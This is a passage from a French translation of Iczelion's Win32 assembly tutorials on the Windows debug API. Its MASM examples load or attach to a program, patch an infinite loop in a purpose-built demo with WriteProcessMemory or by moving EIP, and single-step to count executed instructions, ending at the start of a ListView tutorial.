  1. On Créer un process ou on attache notre debugger à un process (un programme) en cours d'exécution..
  2. On attend que des 'debugging événements' ne se produisent.
  3. On fait ce qu'on veut (des réponses) des 'debugging événements'.
  4. Laissez le debuggee reprendre son exécution..
  5. On continue ce cycle (les points 2,3,4 vus précédemment) dans une boucle infinie tant qu'on ne tombe pas sur l'ExitProcess du debuggee.

Exemple:

Cet exemple debugge un programme win32 et affiche les informations importantes telles que son handle, son ID, son Image Base, etc...

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
.data
AppName db "Win32 Debug Example no.1",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
             db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0
NewThread db "A new thread is created",0
EndThread db "A thread is destroyed",0
ProcessInfo db "File Handle: %lx ",0dh,0Ah
            db "Process Handle: %lx",0Dh,0Ah
            db "Thread Handle: %lx",0Dh,0Ah
            db "Image Base: %lx",0Dh,0Ah
            db "Start Address: %lx",0
.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
.code
start:
mov ofn.lStructSize,sizeof ofn
mov ofn.lpstrFilter, offset FilterString
mov ofn.lpstrFile, offset buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
.while TRUE
   invoke WaitForDebugEvent, addr DBEvent, INFINITE
   .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
       invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
       .break
   .elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
       invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
       invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
   .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
       .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
          invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
         .continue
       .endif
   .elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif
   invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
.endif
invoke ExitProcess, 0
end start

Analyse:

Le programme remplit la structure OPENFILENAME et appelle ensuite GetOpenFileName pour laisser l'utilisateur choisir un programme à debugger.

invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi

Quand l'utilisateur en a choisi un, on appelle CreateProcess pour charger ce programme. on appelle GetStartupInfo pour remplir la structure STARTUPINFO avec ses valeurs par défaut. Remarquez que nous employons debug_PROCESS combiné avec le flag debug_ONLY_THIS_PROCESS pour ne debugger que ce programme, et ne pas toucher à ses Child Process.

.while TRUE
   invoke WaitForDebugEvent, addr DBEvent, INFINITE

Quand le debuggee est chargé, notre debugger entre dans sa boucle de debugging infinie, en appelant WaitForDebugEvent. WaitForDebugEvent ne retournera pas avant qu'un 'debugging événement' ne se soit produit dans le debuggee parce que nous avons mis INFINITE en tant que deuxième paramètre. Quand un 'debugging événement' se produit, WaitForDebugEvent retourne et 'DBEvent' (DB-Event) est rempli de l'information représentant le 'debugging événement'. (Par exemple: CREATE_PROCESS_DEBUG_EVENT, ou EXIT_THREAD_DEBUG_EVENT...)

   .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
       invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
       .break

Nous vérifions d'abord la valeur dans dwDebugEventCode. Si c'est EXIT_PROCESS_DEBUG_EVENT, nous affichons une MessageBox disant "The debuggee exits" (le debugee s'est arrêté car il est tombé sur sa fonction de terminaison ExitProcess) et ensuite on sort de la boucle de debugging (du debugger).

   .elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
       invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
       invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION

Si la valeur dans dwDebugEventCode est CREATE_PROCESS_DEBUG_EVENT, alors nous affichons plusieurs informations intéressantes à propos du debuggee dans une MessageBox. Nous obtenons ces informations de u.CreateProcessInfo. CreateProcessInfo est une structure de type CREATE_PROCESS_DEBUG_INFO. Vous pouvez obtenir plus de renseignements sur cette structure en regardant votre référence Win32 API.

   .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
       .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
          invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
         .continue
       .endif

Si la valeur dans dwDebugEventCode est EXCEPTION_DEBUG_EVENT, nous devons vérifier plus loin si le type d'exception est exact. C'est une longue ligne de références emboîtées mais vous pouvez obtenir le type d'exception grâce au membre ExceptionCode. Si la valeur dans ExceptionCode est EXCEPTION_BREAKPOINT et que c'est la première fois (ou bien que nous sommes certains que le debuggee ne s'est jamais servit de l'interruption 3 du Dos (int 03h)), alors nous pouvons dire sans risque que cette exception s'est produite lorsque le debuggee a voulut exécuter sa toute première instruction. Quand on en a fini avec le traitement de cette exception, nous devons appeler ContinueDebugEvent avec le Flag DBG_CONTINUE pour permettre au debuggee de reprendre là où il s'était arrêté. Après ça, nous retournons pour attendre le prochain 'debugging événement'.

   .elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif

Si la valeur dans dwDebugEventCode est CREATE_THREAD_DEBUG_EVENT ou bien EXIT_THREAD_DEBUG_EVENT, on affiche une MessageBox disant que le lien est créé ou bien détruit.

invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw

Excepté pour le cas EXCEPTION_debug_EVENT, vu au-dessus, nous appelons ContinueDebugEvent avec le flag DBG_EXCEPTION_NOT_HANDLED pour reprendre le cours du debuggee.

invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread

Quand le debuggee se referme, nous sommes déjà en dehors de la boucle de debugging (de notre debugger)et devons fermer à la fois le process du debuggee et les handles de ses liens. La simple fermeture de ses handles ne signifie pas que nous détruisons le rapport process/lien. Ça signifie seulement que nous ne souhaitons plus désormais employer ces handles pour faire la relation entre process et lien.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 29: Win32 Debug API part 2

Tutorial 29: Win32 Debug API Partie 2/3

Nous continuons sur le sujet , soit sur les : 'win32 debug API'. Dans ce tutorial, nous allons voir comment à l'aide de notre programme debugger nous pouvons modifier le process du debuggee.
Downloadez l'exemple.

Théorie:

Dans le tutorial précédent, nous avons vu comment charger le debuggee et gérer les 'debugging événements' qui se produisent dans son process. Pour être efficace, notre programme doit être capable de modifier le process de debuggee. Il existe plusieurs APIs pour faire ça.

  • ReadProcessMemory Cette fonction vous permet de lire la mémoire dans le process désigné. Son prototype de fonction est le suivant :

    ReadProcessMemory proto hProcess:DWORD, lpBaseAddress:DWORD, lpBuffer:DWORD, nSize:DWORD, lpNumberOfBytesRead:DWORD

    hProcess est l'handle du process dans lequel vous souhaitez effectuer votre lecture.
    lpBaseAddress est l'adresse dans le process cible où vous souhaitez commencer votre lecture. Par exemple, si vous voulez lire 4 octets du debuggee, lequel commence à l'offset 401000, la valeur dans ce paramètre doit être 401000.
    lpBuffer est l'adresse du buffer qui recevra les octets qu'on va lire dans le process.
    nSize est le nombre d'octets que vous souhaitez lire. (Dans l'exemple ci-dessus, c'est donc 4)
    lpNumberOfBytesRead est l'adresse de la variable (de taille dword) qui reçoit le numbre d'octets qu'on aura réellement lus. Si vous vous en foutez, vous pouvez employer un NULL.

  • WriteProcessMemory est un homologue de ReadProcessMemory. Ça vous permet d'écrire dans la mémoire du process cible. Ses paramètres sont exactement les mêmes que ceux de ReadProcessMemory.

    Les deux fonctions API suivantes ont besoin d'une petite explication quant à leur utilisation. Dans un OS multi-taches tel que Windows, on peut avoir plusieurs programmes tournant en même temps. Windows donne un temps d'activité restreint à chacun d'eux. Quand ce temps d'activité expire, Windows gèle le programme qui était en train de tourner et passe au programme suivant qui prend maintenant la priorité la plus haute. juste avant de commuter sur ce nouveau programme, Windows a sauvegardé les valeurs du premier dans les Registres de lien (du premier) pour qu'au moment où il est temps de reprendre le lien, Windows puisse rétablir l'ancien *environnement* de ce lien. Les valeurs des Registres sauvegardés, représentent un ensemble qu'on appelle un contexte.
    Revenons à notre sujet. Lorsqu'un 'debugging événement' se produit, Windows suspend le debuggee. Le contexte du debuggee est sauvegardé. Puisque le debuggee est suspendu, on est sûrs que les valeurs dans le contexte resteront inchangées. Nous pouvons obtenir les valeurs de ce contexte (donc les valeurs des registres) grâce à la fonction GetThreadContext et nous pouvons les changer avec SetThreadContext.
    Ces deux APIs sont extrêmement puissantes. Avec elles, on a à notre portée la puissance du VxD pour contrôler le debuggee cible : on peut changer les valeurs des registres sauvegardés, et juste avant que le debuggee ne reprenne son exécution, on récupère les anciennes valeurs du contexte de nouveau dans les Registres. Quelque soit les changements qu'on a fait subir au contexte avant de revenir au 'relancement' du debuggee, notre debugger perçoit et contrôle tout. Pensez-y : on peut même changer la valeur du Registre EIP et ainsi détourner le flux exécution n'importe où, où on le souhaite! C'est à dire, l'EIP représente à chaque instant la ligne du programme qui est en train d'être lue par l'ordinateur. De fil en aiguille on avance dans la lecture du programme ligne par ligne. Maintenant, si on est capable de changer la valeur du registre EIP, on peut sauté vraiment où on veut. Alors que normalement c'est l'ordinateur et personne d'autre qui contrôle l'EIP. C'est quelque chose qu'on serait bien incapable de faire en temps normal.

    GetThreadContext proto hThread:DWORD, lpContext:DWORD

    hThread est l'handle du lien que vous voulez obtenir dans le context
    lpContext est l'adresse de la structure CONTEXT qui sera remplie, lorsque cette fonction retourne avec succès.

    SetThreadContext a exactement les mêmes paramètres. On va voir à quoi ressemble une structure de CONTEXT :

  • CONTEXT STRUCT
  • ContextFlags dd ?

    ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_DEBUG_REGISTERS
  • ;-----------------------------------------------------------------------------------------------------------
    iDr0 dd ?
    iDr1 dd ?
    iDr2 dd ?
    iDr3 dd ?
    iDr6 dd ?
    iDr7 dd ?

  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_FLOATING_POINT
  • ;-----------------------------------------------------------------------------------------------------------
  • FloatSave FLOATING_SAVE_AREA <>

  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_SEGMENTS
  • ;-----------------------------------------------------------------------------------------------------------
  • regGs dd ?
    regFs dd ?
    regEs dd ?
    regDs dd ?

  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_INTEGER
  • ;-----------------------------------------------------------------------------------------------------------
  • regEdi dd ?
    regEsi dd ?
    regEbx dd ?
    regEdx dd ?
    regEcx dd ?
    regEax dd ?

  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_CONTROL
  • ;-----------------------------------------------------------------------------------------------------------
  • regEbp dd ?
    regEip dd ?
    regCs dd ?
    regFlag dd ?
    regEsp dd ?
    regSs dd ?

  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_EXTENDED_REGISTERS
  • ;-----------------------------------------------------------------------------------------------------------
  • ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?) CONTEXT ENDS

    Comme vous pouvez le voir, les membres de ces structures sont des imitations des Registres réels du processeur. Avant que vous ne puissiez employer cet artifice, vous devez indiquer quels groupes de Registres vous souhaitez lire/écrire dans le membre ContextFlags. Par exemple, si vous voulez lire/écrire tous les Registres, vous devez mettre le membre CONTEXT_FULL dans la structure ContextFlags. Si vous voulez seulement lire/écrire regEbp, regEip, regCs, regFlag, regEsp ou regSs, vous devez mettre le membre CONTEXT_CONTROL dans ContextFlags.

    Encore une chose que vous devez vous rappeler, en employant la structure CONTEXT: elle doit absolument fonctionner avec des modèles dword sinon vous obtiendriez des résultats étranges sous NT. Vous devez mettre "align dword" juste au-dessus de la ligne qui la déclare, de cette façon :

    align dword
    MyContext CONTEXT <>

Exemple:

Ce premier exemple sert à montrer comment on utilise un Debugger de type ActiveProcess. D'abord, on doit lancer une cible qui s'appelle win.exe, ce programme est une boucle infinie qui tourne en rond sans pouvoir en sortir et on ne peut donc pas arriver à son autre fonction (qui est juste après) qui affiche une fenêtre à l'écran. A partir de là, on lance notre exemple (notre debugger appelé debug2.exe), il s'attachera à win.exe et modifiera son code tel que win.exe puisse sortir de sa boucle infinie et ainsi il pourra afficher sa fenêtre.

Si ça ressemble pas à un Memory-Patch çà... :)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.2",0
ClassName db "SimpleWinClass",0
SearchFail db "Cannot find the target process",0
TargetPatched db "Target patched!",0
buffer dw 9090h

.data?
DBEvent DEBUG_EVENT <>
ProcessId dd ?
ThreadId dd ?
align dword
context CONTEXT <>

.code
start:
invoke FindWindow, addr ClassName, NULL
.if eax!=NULL
    invoke GetWindowThreadProcessId, eax, addr ProcessId
    mov ThreadId, eax
    invoke DebugActiveProcess, ProcessId
    .while TRUE
       invoke WaitForDebugEvent, addr DBEvent, INFINITE
       .break .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
       .if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
          mov context.ContextFlags, CONTEXT_CONTROL
          invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
          invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL
          invoke MessageBox, 0, addr TargetPatched, addr AppName, MB_OK+MB_ICONINFORMATION
       .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
          .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
             invoke ContinueDebugEvent, DBEvent.dwProcessId,DBEvent.dwThreadId, DBG_CONTINUE
             .continue
          .endif
       .endif
       invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
   .endw
.else
    invoke MessageBox, 0, addr SearchFail, addr AppName,MB_OK+MB_ICONERROR
.endif
invoke ExitProcess, 0
end start

;--------------------------------------------------------------------
; Le code source de win.asm est en réalité une simple fenêtre comme
; celle de l'exemple du tutorial 2 avec une boucle infinie insérée
; juste avant qu'on ne puisse arriver jusqu'à elle (la fenêtre).
;----------------------------------------------------------------------

......
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ hInst,NULL
mov hwnd,eax
jmp $ ;<---- Voici notre boucle infinie. Elle boucle sur elle-même.
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
   invoke GetMessage, ADDR msg,NULL,0,0
   .break .if (!eax)
   invoke TranslateMessage, ADDR msg
   invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

Analyse:

invoke FindWindow, addr ClassName, NULL

Notre programme a besoin de s'attacher au debuggee avec DebugActiveProcess lequel a besoin de l'ID du process du debuggee. Nous pouvons obtenir l'ID de son process en appelant GetWindowThreadProcessId qui a à son tour à besoin de l'handle de la fenêtre en tant que paramètre. Donc nous avons d'abord besoin d'obtenir cet handle.
Avec FindWindow, nous pouvons spécifier le nom de la Window Class (classe de fenêtre) dont nous avons besoin. Il renvoie l'handle de la fenêtre créée par cette Window Class. S'il renvoie un NULL, aucune fenêtre de cette classe n'est présente.

.if eax!=NULL
    invoke GetWindowThreadProcessId, eax, addr ProcessId
    mov ThreadId, eax
    invoke DebugActiveProcess, ProcessId

Après avoir obtenu l'ID du process, nous pouvons appeler DebugActiveProcess. Comme ça, nous passons à la boucle traitant les 'debugging événements'.

       .if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
          mov context.ContextFlags, CONTEXT_CONTROL
          invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context

Quand on arrive à la partie du programme qui contient la ligne CREATE_PROCESS_debug_INFO, ça signifie que le debuggee est suspendu, disponible pour que nous puissions faire l'acte de chirurgie en son process. Dans cet exemple, nous remplaçons l'instruction de la boucle infinie dans le debuggee (qui est un Jmp codé en langage machine par 0EBh 0FEh) par deux NOP (90h 90h).
D'abord, nous avons besoin d'obtenir l'adresse où se situe cette instruction (ce Jmp). Puisque le debuggee est déjà dans la boucle au moment où notre programme est attaché à lui, alors EIP indique forcément l'adresse de cette instruction. Tout ce que nous avons besoin de faire, c'est de récupérer la valeur de EIP. On utilise GetThreadContext pour faire ça. Nous plaçons le membre ContextFlags dans le CONTEXT_CONTROL pour indiquer à GetThreadContext que nous souhaitons qu'il remplisse les Registres de "control" avec les membres de la structure CONTEXT. Ainsi par exemple EIP sera récupéré dans notre Registre de Control appelé regEip.

invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL

Maintenant que nous avons la valeur de l'EIP, nous pouvons appeler WriteProcessMemory pour récrire par dessus l'instruction "jmp $" avec 2 NOP, ainsi on aura aidé efficacement le debuggee à sortir de sa boucle infinie. Après ça, nous affichons un message destiné à l'utilisateur et appelons ensuite ContinueDebugEvent pour que le debuggee redémarre. Maintenant que l'instruction "jmp $" est remplacée par deux instructions NOP, le debuggee est capable de continuer jusqu'à atteindre l'affichage de sa fenêtre et du message. La preuve, c'est que nous verrons apparaître cette fenêtre à l'écran.

L'autre exemple (Debug3.exe) utilise une approche un peu différente pour casser la boucle infinie.

.......
.......
.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
   mov context.ContextFlags, CONTEXT_CONTROL
   invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
   add context.regEip,2
   invoke SetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
   invoke MessageBox, 0, addr LoopSkipped, addr AppName, MB_OK+MB_ICONINFORMATION
.......
.......

Comme pour l'exemple précédent on appelle toujours GetThreadContext pour obtenir la valeur actuelle de l'EIP, mais au lieu de l'action : 'effacer la boucle du "jmp$" avec deux instructions NOP (pour briser la boucle), ici on incrémente la valeur de regEip par 2 (regEip-->EIP+2) grâce à l'instruction "skip over". Le résultat, c'est que lorsque le debuggee reprend le contrôle, il reprend son exécution à l'instruction suivante, juste après le "jmp$". Donc on ne détruit pas la boucle mais on passe par dessus. Vous allez me dire pourquoi +2 ! le saut 'jmp' est codé en langage machine sur deux octets (EB et FE ou 0EBh 0FEh) donc quand l'EIP est sur le 'jmp' on est sur EB si on ajoute 2 à l'EIP, on passe sur EB puis sur FE et donc on arrive à ce qui suit le jmp donc à l'instuction suivante. On vient de sauter par dessus !

Maintenant vous comprenez la puissance de 'Get & SetThreadContext'. Vous pouvez aussi modifier d'autres Registres et leurs valeurs seront ensuite rétablies après le passage du debuggee. Vous pouvez même insérer l'instruction 'int 3h' laquelle sert à placer des Break Points dans le programme qu'on est en train de debugger.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 30: Win32 Debug API part 3

Tutorial 30: Win32 Debug API partie 3/3

Dans ce tutorial, nous allons continuer l'exploration des 'win32 debug API'. Et spécialement, nous allons voir comment tracer le debuggee.
Downloadez l'exemple.

Théorie:

Si vous avez déjà utilisé un débugger auparavant, vous êtes familiers avec le fait de tracer un autre programme grâce à lui. Quand vous "tracez" un programme, les Break Points sur n'importe quelle instruction, vous donne la chance d'examiner les valeurs des Registres et des mémoires. Le fait de tracer un programme, on appelle ça officiellement 'Single-stepping'.
Plus concrètement, tracer un programme c'est exécuter une ligne d'instruction du programme cible puis voir ce que ça produit,( ou bien regarder les valeurs des Registres ou des mémoires qui viennent de changer) puis passer à la ligne suivante et encore voir ce qu'elle fait et ainsi de suite pour comprendre comment fonctionne le programme. Seul un debugger est capable de faire ça.
Le traçage pas à pas (ou 'Single-stepping') a la particularité d'être générer pas le CPU lui-même. (Le CPU, 'Central Processing Unit' ou 'Unité Centrale de Traitement'). Le 8ème bit du flag 'REGISTER' est appelé le Trap Flag. Si ce flag est mis à 1, le CPU fonctionne en mode pas à pas ou traçage, c'est pareil, enfin bon en 'Single-stepping'. Le CPU produira un 'debugging événement' de type 'exception' (voir tut28) pour le stopper après chaque instruction. Après que cette 'exception' se soit produite, le 'Trap Flag' est automatiquement purifié.
Nous pouvons aussi tracer le debuggee, en employant les win32 debug API. Les étapes sont les suivantes :

  1. Appelez la fonction GetThreadContext, en spécifiant le Flag CONTEXT_CONTROL dans le membre ContextFlags, pour obtenir la valeur du Flag REGISTER.
  2. Mettez le Trap Bit dans le membre regFlag de la structure CONTEXT.
  3. Appelez SetThreadContext
  4. Comme d'habitude, attendez qu'un 'debugging événement' se produise. Le debuggee s'exécutera en mode single-step. Après qu'il exécute chaque instruction, nous obtiendrons l'événement suivant : EXCEPTION_DEBUG_EVENT, et avec la valeur EXCEPTION_SINGLE_step dans u.Exception.pExceptionRecord.ExceptionCode nous pourrons tracer pas à pas.
  5. Si vous avez besoin de tracer (donc d'arrêter) l'instruction suivante, vous avez besoin de remettre le trap bit de nouveau.

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.4",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
             db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0Dh,0Ah
         db "Total Instructions executed : %lu",0
TotalInstruction dd 0

.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
context CONTEXT <>

.code
start:
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER \
               or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
    invoke GetStartupInfo,addr startinfo
    invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, \
                  DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, \
                  NULL, NULL, addr startinfo, addr pi
    .while TRUE
       invoke WaitForDebugEvent, addr DBEvent, INFINITE
       .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
          invoke wsprintf, addr buffer, addr ExitProc, TotalInstruction
          invoke MessageBox, 0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
          .break
       .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
          .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
             mov context.ContextFlags, CONTEXT_CONTROL
             invoke GetThreadContext, pi.hThread, addr context
             or context.regFlag,100h
             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
             .continue
          .elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
             inc TotalInstruction
             invoke GetThreadContext,pi.hThread,addr context
             or context.regFlag,100h
             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
             .continue
          .endif
       .endif
       invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, \
                                  DBG_EXCEPTION_NOT_HANDLED
    .endw
.endif
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
invoke ExitProcess, 0
end start

Analyse:

Ce programme ouvre une boîte de dialogue openfile. Quand l'utilisateur choisit un fichier exécutable, il exécute le programme cible en mode single-step (tracage pas à pas), et il compte le nombre d'instructions exécutées jusqu'à la sortie de ce programme cible.

       .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
          .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT

Nous en profitons pour faire fonctionner le programme cible en mode single-step. Souvenez-vous que Windows envoie un EXCEPTION_BREAKPOINT juste avant qu'il n'exécute la première instruction du prog cible.

             mov context.ContextFlags, CONTEXT_CONTROL
             invoke GetThreadContext, pi.hThread, addr context

On appelle GetThreadContext pour remplir la structure CONTEXT avec les valeurs actuelles des Registres du debuggee. Plus spécifiquement, nous avons besoin de la valeur actuelle du flag REGISTER.

             or context.regFlag,100h

Nous mettons le trap bit (le 8ème bit) à 1 dans l'image du flag REGISTER.

             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
             .continue

Ainsi nous appelons la fonction SetThreadContext pour écrire par dessus les valueurs de la structure CONTEXT avec les nouvelles on appelle la fonction ContinueDebugEvent munie en plus du flag DBG_CONTINUE pour relancer le debuggee.

          .elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
             inc TotalInstruction

Quand une instruction est exécutée dans le debuggee, nous recevons le fameux 'debugging événement' (de type 'Exeption') EXCEPTION_DEBUG_EVENT. Nous devons examiner la valeur de u.Exception.pExceptionRecord.ExceptionCode. Si sa valeur est EXCEPTION_SINGLE_step, alors ce 'debugging événement' s'est produit à cause du mode Pas à Pas (single-step). Dans ce cas, nous pouvons incrémenter la variable TotalInstruction car nous savons qu'une seule et unique instruction vient d'être exécutée dans le programme cible.

             invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
             .continue

Après que ce 'debugging exception' se soit produit on enlève (on purifie) le 'trap flag'. On doit remettre le trap flag de nouveau si on souhaite continuer en mode Pas à Pas (single-step).
Avertissement : n'employez pas l'exemple dans ce tutorial avec un grand programme : le traçage est LENT. Il vous faudrait attendre pendant dix minutes avant que vous ne puissiez fermer le debuggee.

[Iczelion's Win32 Assembly Homepage]

Taduit par Morgatte


Iczelion's Win32 Assembly Tutorial 31: ListView Control

Tutorial 31: Fichiers organisés sous la forme d'une liste
(Listview Control)

Dans ce tutorial, nous allons voir comment créer et employer un listview control.

Downloadez l'exemple.

Théorie:

Un listview control est aussi un 'common controls' (tutorial 18) tout comme le treeview (tutorial 19), richedit etc. En fait vous l'utilisez couramment sans même connaître son nom. Par exemple, la fenêtre de droite de l'Explorateur Windows est un listview control. Un listview control sert à afficher sous forme d'une liste un groupe de fichiers. En fait, c'est un peu comme une liste, mais avec certaines capacités en plus.
